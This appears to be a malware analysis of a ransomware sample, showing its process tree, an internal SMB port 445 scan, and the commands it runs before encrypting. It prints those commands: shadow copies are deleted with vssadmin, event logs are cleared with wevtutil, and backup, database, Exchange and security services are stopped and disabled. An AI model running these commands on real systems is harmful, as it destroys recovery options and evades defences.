FOR SUMMARY CLICK HERE

RED ARROW = SPAWN A PROCESS
CYAN ARROW = MADE A CONNECTION (TCP)

MALICIOUS COMMANDS BEFORE ENCRYPTING THE DISK

SCANNIG FOR 445 ON INTERNAL NETWORK

C2 MANAGER AND SELF DESTRUCT FUNCTION

START
PAYLOAD_RD.exe 2808
cmd.exe 1564
cmd.exe 3488
cmd.exe 1008
cmd.exe 3948
cmd.exe 596
cmd.exe 2804
cmd.exe 1016
cmd.exe 1056
cmd.exe 2544
cmd.exe 1848
cmd.exe 3464
cmd.exe 4008
cmd.exe 2484
cmd.exe 1504
cmd.exe 1036
cmd.exe 3516
cmd.exe 2656
cmd.exe 2032
cmd.exe 1880
cmd.exe 3772
cmd.exe 1464
cmd.exe 4064
cmd.exe 3328
cmd.exe 1480
cmd.exe 2904
cmd.exe 1304
cmd.exe 3100
cmd.exe 3228
cmd.exe 3992
cmd.exe 1703
cmd.exe 1824
cmd.exe 1512
cmd.exe 908
cmd.exe 1372
cmd.exe 1104
cmd.exe 2176
cmd.exe 3404
cmd.exe 680
cmd.exe 1720
cmd.exe 2232
cmd.exe 3640
cmd.exe 2192
cmd.exe 3700
cmd.exe 2588
cmd.exe 2376
cmd.exe 3656
cmd.exe 968
cmd.exe 1124
cmd.exe 2480
cmd.exe 284
cmd.exe 476
cmd.exe 1260
cmd.exe 3712
cmd.exe 3032
cmd.exe 1316
cmd.exe 716
cmd.exe 3156
cmd.exe 3676
10.0.0.1 445
10.0.0.2 445
10.0.0.3 445
10.0.0.4 445
10.0.0.5 445
10.0.0.6 445
10.0.0.7 445
10.0.0.8 445
10.0.0.9 445
10.0.0.10 445
10.0.0.11 445
10.0.0.12 445
10.0.0.13 445
10.0.0.14 445
10.0.0.15 445
10.0.0.16 445
10.0.0.17 445
10.0.0.18 445
10.0.0.19 445
10.0.0.20 445
10.0.0.21 445
10.0.0.22 445
10.0.0.23 445
10.0.0.24 445
10.0.0.32 445
10.0.0.33 445
10.0.0.34 445
172.16.177.6 445
172.16.177.7 445
172.16.177.8 445
172.16.177.9 445
172.16.177.10 445
172.16.177.11 445
172.16.177.12 445
172.16.177.13 445
172.16.177.14 445
172.16.177.15 445
172.16.177.16 445
172.16.177.17 445
172.16.177.18 445
172.16.177.19 445
172.16.177.20 445
172.16.177.21 445
172.16.177.22 445
172.16.177.23 445
172.16.177.24 445
172.16.177.25 445
172.16.177.26 445
172.16.177.27 445
172.16.177.28 445
172.16.177.29 445
172.16.177.30 445
172.16.177.31 445
172.16.177.32 445
172.16.177.33 445
172.16.177.34 445
172.16.177.35 445
172.16.177.36 445
172.16.177.50 445
172.16.177.51 445
172.16.177.254 445
net.exe 840
wevtutil.exe 840
net.exe 3624
wevtutil.exe 4068
w.exe 3620
wevtutil.exe 3912
cmd.exe 3620
cmd.exe 3636
w.exe 3636
cmd.exe 2768
cmd.exe 3700
cmd.exe 828
net.exe 828
net.exe 2088
wevtutil.exe 2088
net1.exe 2524
net1.exe 2960
vssadmin.exe 1908
WMIC.exe 1128
w.exe 212
WMIC.exe 3924
net.exe 1128
WMIC.exe 2776
WMIC.exe 664
WMIC.exe 3464
WMIC.exe 3492
net.exe 3828
net.exe 3828
net.exe 3648
WMIC.exe 3080
WMIC.exe 640
WMIC.exe 2368
net.exe 996
WMIC.exe 3728
WMIC.exe 3644
WMIC.exe 3240
cmd.exe 724
net.exe 724
cmd.exe 4064
WMIC.exe 3368
cmd.exe 1904
w.exe 1904
cmd.exe 884
WMIC.exe 3940
WMIC.exe 3384
WMIC.exe 2808
net.exe 3200
cmd.exe 3200
tmkkill.exe 3308
w.exe 1892
w.exe 3408
net.exe 3848
cmd.exe 3848
net.exe 964
cmd.exe 964
cmd.exe 1372
tmkkill.exe 3844
net.exe 3756
w.exe 896
w.exe 1380
w.exe 3864
net.exe 3440
w.exe 4040
w.exe 3148
w.exe 3120
net.exe 1684
w.exe 900
w.exe 3500
w.exe 996
w.exe 3108
w.exe 2776
net.exe 500
cmd.exe 500
w.exe 1596
w.exe 3852
w.exe 4052
net.exe 2792
net.exe 1244
net.exe 3288
net.exe 3820
net.exe 2660
net.exe 1028
net.exe 1308
net.exe 1876
net.exe 4040
net1.exe 900
net1.exe 2672
WMIC.exe 1932
w.exe 3400
net1.exe 4024
WMIC.exe 3852
net1.exe 2716
net1.exe 1132
w.exe 532
cmd.exe 1132
w.exe 884
net1.exe 2560
w.exe 600
net1.exe 1596
net1.exe 580
net1.exe 168
w.exe 3020
net1.exe 1784
net1.exe 2352
net1.exe 3352
net1.exe 2932
net1.exe 3332
net1.exe 1136
net1.exe 2140
net1.exe 3868
net1.exe 2740
WMIC.exe 3020
w.exe 584
cmd.exe 2688
net1.exe 2688
w.exe 2684
net1.exe 1640
cmd.exe 1268
net1.exe 2688
wevtutil.exe
wevtutil.el eventlog
wevtutil.el setup
wevtutil.exe qe
vssadmin.exe Delete Shadows /All /Quiet
WMIC.exe SHADOWCOPY /nointeractive
WMIC.exe SERVICE WHERE "caption LIKE '%Acronis%'" CALL STOPSERVICE
WMIC.exe SERVICE WHERE "caption LIKE '%Arcserve%'" CALL STOPSERVICE
WMIC.exe SERVICE WHERE "caption LIKE '%BESAgent%'" CALL STOPSERVICE
WMIC.exe SERVICE WHERE "caption LIKE '%Enterprise Client%'" CALL STOPSERVICE
WMIC.exe SERVICE WHERE "caption LIKE '%SQL%'" CALL STOPSERVICE
WMIC.exe SERVICE WHERE "caption LIKE '%Exchange%'" CALL STOPSERVICE
WMIC.exe SERVICE WHERE "caption LIKE '%MSExchange%'" CALL STOPSERVICE
WMIC.exe SERVICE WHERE "caption LIKE '%postgresql%'" CALL STOPSERVICE
WMIC.exe SERVICE WHERE "caption LIKE '%SAGE%'" CALL STOPSERVICE
WMIC.exe SERVICE WHERE "caption LIKE '%ShadowProtect%'" CALL STOPSERVICE
WMIC.exe SERVICE WHERE "caption LIKE '%Symantec%'" CALL STOPSERVICE
WMIC.exe SERVICE WHERE "caption LIKE '%Veeam%'" CALL STOPSERVICE
WMIC.exe SERVICE WHERE "caption LIKE '%VSS%'" CALL STOPSERVICE
WMIC.exe SERVICE WHERE "caption LIKE '%Zoolz%'" CALL STOPSERVICE
WMIC.exe SERVICE WHERE "caption LIKE '%backup%'" CALL STOPSERVICE
WMIC.exe SERVICE WHERE "caption LIKE '%SQL%'" CALL ChangeStartMode 'Disabled'
WMIC.exe SERVICE WHERE "caption LIKE '%MSSQL%'" CALL ChangeStartMode 'Disabled'
WMIC.exe SERVICE WHERE "caption LIKE '%SQL%'" CALL ChangeStartMode 'Disabled'
WMIC.exe SERVICE WHERE "caption LIKE '%MSExchange%'" CALL ChangeStartMode 'Disabled'
WMIC.exe SERVICE WHERE "caption LIKE '%veeam%'" CALL ChangeStartMode 'Disabled'
WMIC.exe SERVICE WHERE "caption LIKE '%postgresql%'" CALL ChangeStartMode 'Disabled'
WMIC.exe SERVICE WHERE "caption LIKE '%backup%'" CALL ChangeStartMode 'Disabled'
WMIC.exe SERVICE WHERE "caption LIKE '%Symantec%'" CALL ChangeStartMode 'Disabled'
WMIC.exe SERVICE WHERE "caption LIKE '%ShadowProtect%'" CALL ChangeStartMode 'Disabled'
sc config PortableServerDeleteInstance start= disabled
sc config PortableServerDeleteInstance start= disabled
net stop PortableServerDeleteInstance
net stop PortableServerDeleteInstance
taskkill /IM PortableServerDeleteInstance.exe /F
taskkill /IM squirrel.exe /F
sc config MSSQLSERVER start= disabled
sc config MSSQLSERVER depend= start= disabled
net stop MSSQLSERVER
C:\Windows\system32\net1.exe stop MSSQLSERVER
sc config MSSQL$SQLEXPRESS start= disabled
net stop MSSQL$SQLEXPRESS
C:\Windows\system32\net1.exe stop MSSQL$SQLEXPRESS
sc config postgresql-9.5 start= disabled
sc config postgresql-9.5 start= disabled
net stop postgresql-9.5
sc config MSExchangeAntispamUpdate start= disabled
sc config MSExchangeADTopology start= disabled
sc config MSExchangeFBA start= disabled
sc config MSExchangeImap4 start= disabled
sc config MSExchangeImap4 start= disabled
sc config MSExchangeIS start= disabled
sc config MSExchangeMailboxAssistants start= disabled
sc config MSExchangeMailSubmission start= disabled
sc config MSExchangeMonitoring start= disabled
sc config MSExchangePop3 start= disabled
sc config MSExchangeRepl start= disabled
sc config MSExchangeRPC start= disabled
sc config MSExchangeSearch start= disabled
sc config MSExchangeSA start= disabled
sc config MSExchangeSA start= disabled
sc config MSExchangeThrottling start= disabled
sc config MSExchangeTransportLogSearch start= disabled
net stop MSExchangeSA
net stop MSExchangeAntispamUpdate
net stop MSExchangeImap4
net stop MSExchangePop3
net stop MSExchangeMailboxReplication
net stop MSExchangeFrontendTransport